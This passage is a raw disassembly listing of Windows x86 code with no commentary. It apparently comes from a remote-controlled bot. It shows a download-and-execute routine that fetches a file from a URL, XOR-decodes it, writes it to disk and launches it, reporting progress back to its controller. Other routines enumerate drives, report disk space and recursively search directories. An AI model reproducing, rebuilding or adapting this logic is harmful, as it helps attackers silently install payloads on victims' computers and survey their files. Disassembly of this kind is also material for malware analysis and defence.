loc_418F27:				; CODE XREF: sub_418F1B+1Aj
		mov	dl, byte_43C08C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_418F27

locret_418F37:				; CODE XREF: sub_418F1B+Aj
		retn
sub_418F1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_418F38	proc near		; DATA XREF: sub_40274D+5F78o
					; sub_40274D+6799o

var_604		= qword	ptr -604h
var_5F8		= qword	ptr -5F8h
Dst		= byte ptr -514h
var_314		= dword	ptr -314h
Str		= byte ptr -310h
var_290		= byte ptr -290h
var_190		= byte ptr -190h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_60		= dword	ptr -60h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Memory		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 514h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0AAh
		lea	edi, [ebp+74h+var_314]
		rep movsd
		xor	esi, esi
		push	esi
		push	esi
		xor	edi, edi
		push	esi
		inc	edi
		mov	[eax+2A4h], edi
		push	esi
		lea	eax, [ebp+74h+var_290]
		push	eax
		push	dword_444254
		call	dword_444108	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+74h+var_10], eax
		jz	loc_4193C2
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		lea	eax, [ebp+74h+var_190]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		cmp	eax, edi
		mov	[ebp+74h+var_14], eax
		jnb	short loc_418FFE
		lea	eax, [ebp+74h+var_190]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	offset asc_436F84 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_78], esi
		jnz	short loc_418FE4
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		add	esp, 14h


loc_418FE4:				; CODE XREF: sub_418F38+8Aj
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_90]
		call	sub_40B149
		pop	ecx
		jmp	loc_419420
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F38+6Aj
		xor	edi, edi
		call	ds:dword_42B038	; GetTickCount
		mov	ebx, 7D000h
		push	ebx		; Size
		mov	[ebp+74h+var_4], eax
		call	_malloc
		pop	ecx
		mov	[ebp+74h+Memory], eax


loc_419018:				; CODE XREF: sub_418F38+1A8j
		push	200h		; Size
		lea	eax, [ebp+74h+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	200h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	[ebp+74h+var_10]
		call	dword_4441B8	; InternetReadFile
		cmp	[ebp+74h+var_7C], esi
		jz	short loc_41905C
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_418F1B
		pop	ecx
		pop	ecx


loc_41905C:				; CODE XREF: sub_418F38+111j
		push	esi
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	[ebp+74h+var_14]
		call	ds:dword_42B084	; WriteFile
		cmp	edi, ebx
		jnb	short loc_41909A
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+74h+arg_0]
		jbe	short loc_419084
		mov	eax, [ebp+74h+arg_0]


loc_419084:				; CODE XREF: sub_418F38+147j
		push	eax		; Size
		lea	eax, [ebp+74h+Dst]
		push	eax		; Src
		mov	eax, [ebp+74h+Memory]
		add	eax, edi
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch


loc_41909A:				; CODE XREF: sub_418F38+13Ej
		add	edi, [ebp+74h+arg_0]
		cmp	[ebp+74h+var_84], esi
		jz	short loc_4190A7
		cmp	edi, [ebp+74h+var_84]
		ja	short loc_4190E6


loc_4190A7:				; CODE XREF: sub_418F38+168j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+74h+var_290]
		push	eax
		mov	eax, [ebp+74h+var_90]
		imul	eax, 234h
		add	eax, offset dword_4442E8
		cmp	[ebp+74h+var_8C], 1
		jz	short loc_4190CF
		push	offset unk_436F5C
		jmp	short loc_4190D4
; ---------------------------------------------------------------------------


loc_4190CF:				; CODE XREF: sub_418F38+18Ej
		push	offset asc_436F34 ; "-"


loc_4190D4:				; CODE XREF: sub_418F38+195j
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+74h+arg_0], esi
		ja	loc_419018


loc_4190E6:				; CODE XREF: sub_418F38+16Dj
		cmp	[ebp+74h+var_84], esi
		mov	[ebp+74h+var_8], 1
		jz	short loc_41913B
		cmp	edi, [ebp+74h+var_84]
		jz	short loc_41913B
		push	[ebp+74h+var_84]
		lea	eax, [ebp+74h+Dst]
		push	edi
		push	offset asc_436F08 ; "-"
		push	eax		; Dest
		mov	[ebp+74h+var_8], esi
		call	_sprintf
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		add	esp, 28h


loc_41913B:				; CODE XREF: sub_418F38+1B8j
					; sub_418F38+1BDj
		call	ds:dword_42B038	; GetTickCount
		sub	eax, [ebp+74h+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		push	[ebp+74h+var_14]
		mov	ecx, eax
		inc	ecx
		mov	eax, edi
		div	ecx
		mov	ebx, eax
		call	ds:dword_42B004	; CloseHandle
		push	[ebp+74h+Memory] ; Memory
		call	_free
		cmp	[ebp+74h+var_80], esi
		pop	ecx
		jz	short loc_4191C5
		lea	eax, [ebp+74h+var_190]
		push	eax		; char *
		call	sub_40109F
		cmp	eax, [ebp+74h+var_80]
		pop	ecx
		jz	short loc_4191C5
		push	[ebp+74h+var_80]
		mov	[ebp+74h+var_8], esi
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	offset asc_436EE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		add	esp, 28h


loc_4191C5:				; CODE XREF: sub_418F38+235j
					; sub_418F38+247j
		cmp	[ebp+74h+var_8], esi
		jz	loc_41940F
		cmp	[ebp+74h+var_8C], 1
		jz	loc_4192CE
		test	ebx, ebx
		mov	[ebp+74h+var_4], ebx
		fild	[ebp+74h+var_4]
		jge	short loc_4191E8
		fadd	ds:dbl_433200


loc_4191E8:				; CODE XREF: sub_418F38+2A8j
		test	edi, edi
		fmul	ds:dbl_436ED8
		push	ecx
		push	ecx
		fstp	[esp+584h+var_5F8]
		lea	eax, [ebp+74h+var_190]
		mov	[ebp+74h+var_4], edi
		fild	[ebp+74h+var_4]
		push	eax
		jge	short loc_41920A
		fadd	ds:dbl_433200


loc_41920A:				; CODE XREF: sub_418F38+2CAj
		fmul	ds:dbl_436ED8
		push	ecx
		push	ecx
		lea	eax, [ebp+74h+Dst]
		fstp	[esp+590h+var_604]
		push	offset asc_436EA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+74h+var_78], esi
		jnz	short loc_41924E
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		add	esp, 14h


loc_41924E:				; CODE XREF: sub_418F38+2F4j
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		cmp	[ebp+74h+var_88], 1
		pop	ecx
		jnz	loc_41940F
		push	5
		push	esi
		push	esi
		lea	eax, [ebp+74h+var_190]
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_444214
		cmp	[ebp+74h+var_78], esi
		jnz	loc_41940F
		lea	eax, [ebp+74h+var_190]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	offset asc_436E84 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		add	esp, 24h
		jmp	loc_41940F
; ---------------------------------------------------------------------------


loc_4192CE:				; CODE XREF: sub_418F38+29Aj
		test	ebx, ebx
		mov	[ebp+74h+var_4], ebx
		fild	[ebp+74h+var_4]
		jge	short loc_4192DE
		fadd	ds:dbl_433200


loc_4192DE:				; CODE XREF: sub_418F38+39Ej
		test	edi, edi
		fmul	ds:dbl_436ED8
		push	ecx
		push	ecx
		fstp	[esp+584h+var_5F8]
		lea	eax, [ebp+74h+var_190]
		mov	[ebp+74h+var_4], edi
		fild	[ebp+74h+var_4]
		push	eax
		jge	short loc_419300
		fadd	ds:dbl_433200


loc_419300:				; CODE XREF: sub_418F38+3C0j
		fmul	ds:dbl_436ED8
		push	ecx
		push	ecx
		lea	eax, [ebp+74h+Dst]
		fstp	[esp+590h+var_604]
		push	offset asc_436E40 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+74h+var_78], esi
		jnz	short loc_419344
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		add	esp, 14h


loc_419344:				; CODE XREF: sub_418F38+3EAj
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		push	10h		; Size
		lea	eax, [ebp+74h+var_28]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		pop	edi
		push	edi		; Size
		lea	eax, [ebp+74h+var_6C]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_6C]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		mov	[ebp+74h+var_6C], edi
		push	esi
		lea	eax, [ebp+74h+var_190]
		xor	edi, edi
		push	eax
		inc	edi
		push	esi
		mov	[ebp+74h+var_60], offset byte_42B633
		mov	[ebp+74h+var_40], edi
		mov	[ebp+74h+var_3C], si
		call	ds:dword_42B008	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4193B4
		call	dword_444224	; WSACleanup
		call	sub_41AEDD
		push	esi
		call	ds:dword_42B000	; ExitProcess


loc_4193B4:				; CODE XREF: sub_418F38+468j
		lea	eax, [ebp+74h+var_190]
		push	eax
		push	offset unk_436E0C
		jmp	short loc_4193CE
; ---------------------------------------------------------------------------


loc_4193C2:				; CODE XREF: sub_418F38+47j
		lea	eax, [ebp+74h+var_290]
		push	eax
		push	offset asc_436DE0 ; "-"


loc_4193CE:				; CODE XREF: sub_418F38+488j
		lea	eax, [ebp+74h+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_78], esi
		jnz	short loc_419402
		push	esi		; int
		push	[ebp+74h+var_74] ; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_314] ; int
		call	sub_40123B
		add	esp, 14h


loc_419402:				; CODE XREF: sub_418F38+4A8j
		lea	eax, [ebp+74h+Dst]
		push	eax
		call	sub_417D70
		pop	ecx


loc_41940F:				; CODE XREF: sub_418F38+290j
					; sub_418F38+327j ...
		push	[ebp+74h+var_10]
		call	dword_444164	; InternetCloseHandle
		push	[ebp+74h+var_90]
		call	sub_40B149


loc_419420:				; CODE XREF: sub_418F38+C1j
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_418F38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419429	proc near		; CODE XREF: sub_40274D+5554p
					; sub_40274D+5693p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_42065F
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_419429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_412135+462p
					; sub_412135+5FEp ...

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	32h		; Size
		push	0		; Val
		mov	edi, offset dword_4DA12C
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch
		lea	esi, [ebp+var_40]
		push	ebx


loc_419465:				; CODE XREF: sub_419443+52j
					; sub_419443+58j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	__aulldvrm
		add	cl, 30h
		mov	[esi], cl
		inc	esi
		mov	[ebp+arg_0], eax
		or	eax, edx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_4], edx
		jz	short loc_41949D
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_419465
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_419465
; ---------------------------------------------------------------------------


loc_41949D:				; CODE XREF: sub_419443+42j
		mov	eax, edi
		pop	ebx
		jmp	short loc_4194A7
; ---------------------------------------------------------------------------


loc_4194A2:				; CODE XREF: sub_419443+6Aj
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_4194A7:				; CODE XREF: sub_419443+5Dj
		dec	esi
		lea	ecx, [ebp+var_40]
		cmp	esi, ecx
		jnb	short loc_4194A2
		mov	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194B8	proc near		; CODE XREF: sub_419664+40p
					; sub_419664+76p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_44407C	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4194FB
		dec	eax
		jz	short loc_4194F5
		dec	eax
		dec	eax
		jz	short loc_4194EF
		dec	eax
		jz	short loc_4194E9
		dec	eax
		jz	short loc_4194E3
		dec	eax
		jz	short loc_4194DD
		mov	eax, offset dword_436FD8
		retn
; ---------------------------------------------------------------------------


loc_4194DD:				; CODE XREF: sub_4194B8+1Dj
		mov	eax, offset off_436FD4
		retn
; ---------------------------------------------------------------------------


loc_4194E3:				; CODE XREF: sub_4194B8+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4194E9:				; CODE XREF: sub_4194B8+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4194EF:				; CODE XREF: sub_4194B8+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4194F5:				; CODE XREF: sub_4194B8+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4194FB:				; CODE XREF: sub_4194B8+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4194B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419501	proc near		; CODE XREF: sub_419549+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4440FC
		test	eax, eax
		jz	short loc_419536
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_419536:				; CODE XREF: sub_419501+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_419501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419549	proc near		; CODE XREF: sub_419664+17p
					; sub_41D779+1C2p

Dest		= byte ptr -1B0h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= byte ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_419501
		pop	ecx
		pop	ecx
		push	6
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_419621
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_419621
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_419621
		push	ebx
		push	0
		mov	ebx, 400h
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	__alldiv
		push	edx
		push	eax
		call	sub_419443
		push	eax
		mov	edi, offset aSkb ; "%sKB"
		push	edi		; Format
		mov	esi, 80h
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	__alldiv
		push	edx
		push	eax
		call	sub_419443
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_130]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	__alldiv
		push	edx
		push	eax
		call	sub_419443
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_B0]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		pop	ebx
		jmp	short loc_419650
; ---------------------------------------------------------------------------


loc_419621:				; CODE XREF: sub_419549+2Cj
					; sub_419549+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_130]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_B0]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h


loc_419650:				; CODE XREF: sub_419549+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+Dest]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_419549	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419664(int,char *Str,int,int)

sub_419664	proc near		; CODE XREF: sub_419725+Dj
					; sub_419725+51p

var_500		= byte ptr -500h
Dest		= byte ptr -380h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
Str1		= byte ptr -80h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_500]
		push	ebx
		push	eax
		call	sub_419549
		push	60h
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+Str1]
		push	offset aFailed	; "failed"
		lea	edi, [ebp+var_180]
		push	eax		; Str1
		rep movsd
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4196C6
		push	ebx
		push	ebx
		call	sub_4194B8
		pop	ecx
		push	eax
		push	offset asc_437028 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_4196FA
; ---------------------------------------------------------------------------


loc_4196C6:				; CODE XREF: sub_419664+3Cj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	ebx
		push	ebx
		call	sub_4194B8
		pop	ecx
		push	eax
		push	offset asc_436FEC ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h


loc_4196FA:				; CODE XREF: sub_419664+60j
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419725(int,char *Str,int,int)

sub_419725	proc near		; CODE XREF: sub_40274D+2360p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_419737
		pop	ebx
		pop	ebp
		jmp	sub_419664
; ---------------------------------------------------------------------------


loc_419737:				; CODE XREF: sub_419725+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4441A8	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi		; Size
		call	_malloc
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4441A8	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_41978D


loc_41975B:				; CODE XREF: sub_419725+66j
		push	offset aA_1	; "A:\\"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41977E
		push	esi		; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_419664
		add	esp, 10h


loc_41977E:				; CODE XREF: sub_419725+45j
		push	esi		; Str
		call	_strlen
		lea	esi, [esi+eax+1]
		cmp	[esi], bl
		pop	ecx
		jnz	short loc_41975B


loc_41978D:				; CODE XREF: sub_419725+34j
		push	edi		; Memory
		call	_free
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419725	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419799(int,char *Str,int,int,int,int)

sub_419799	proc near		; CODE XREF: sub_419799+9Ep
					; sub_4198EB+BBp

var_54C		= dword	ptr -54Ch
var_34C		= dword	ptr -34Ch
Dest		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		mov	esi, 104h
		push	offset aS_4	; "%s\\*"
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	edi, ds:dword_42B0B4
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_0 ; "%s\\%s"
		jz	short loc_419856


loc_4197E5:				; CODE XREF: sub_419799+BBj
		test	[ebp+var_144], 10h
		jz	short loc_419842
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_419809
		cmp	[ebp+var_117], 0
		jz	short loc_419842
		cmp	[ebp+var_117], 2Eh
		jz	short loc_419842


loc_419809:				; CODE XREF: sub_419799+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_34C]
		push	ebx		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+arg_14]	; int
		lea	eax, [ebp+var_34C]
		push	eax		; int
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_419799
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_419842:				; CODE XREF: sub_419799+53j
					; sub_419799+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_42B0B0	; FindNextFileA
		test	eax, eax
		jnz	short loc_4197E5


loc_419856:				; CODE XREF: sub_419799+4Aj
		push	[ebp+var_4]
		call	ds:dword_42B0A4	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	ebx		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4198DC


loc_41988D:				; CODE XREF: sub_419799+141j
		inc	[ebp+arg_14]
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_54C]
		push	offset asc_437068 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_54C]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_42B0B0	; FindNextFileA
		test	eax, eax
		jnz	short loc_41988D


loc_4198DC:				; CODE XREF: sub_419799+F2j
		push	esi
		call	ds:dword_42B0A4	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419799	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4198EB	proc near		; DATA XREF: sub_40274D+6585o

Dest		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= dword	ptr -218h
var_115		= byte ptr -115h
Str		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 49Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A7h
		lea	edi, [ebp+74h+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	_strlen
		xor	ebx, ebx
		cmp	[ebp+eax+74h+var_115], 5Ch
		pop	ecx
		jnz	short loc_419942
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+74h+var_115], bl


loc_419942:				; CODE XREF: sub_4198EB+41j
		lea	eax, [ebp+74h+var_218]
		push	eax
		push	offset asc_4370AC ; "-"
		lea	eax, [ebp+74h+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+74h+var_8], ebx
		jnz	short loc_419987
		push	ebx		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_298]
		push	eax		; Str
		push	[ebp+74h+var_29C] ; int
		call	sub_40123B
		add	esp, 14h


loc_419987:				; CODE XREF: sub_4198EB+7Aj
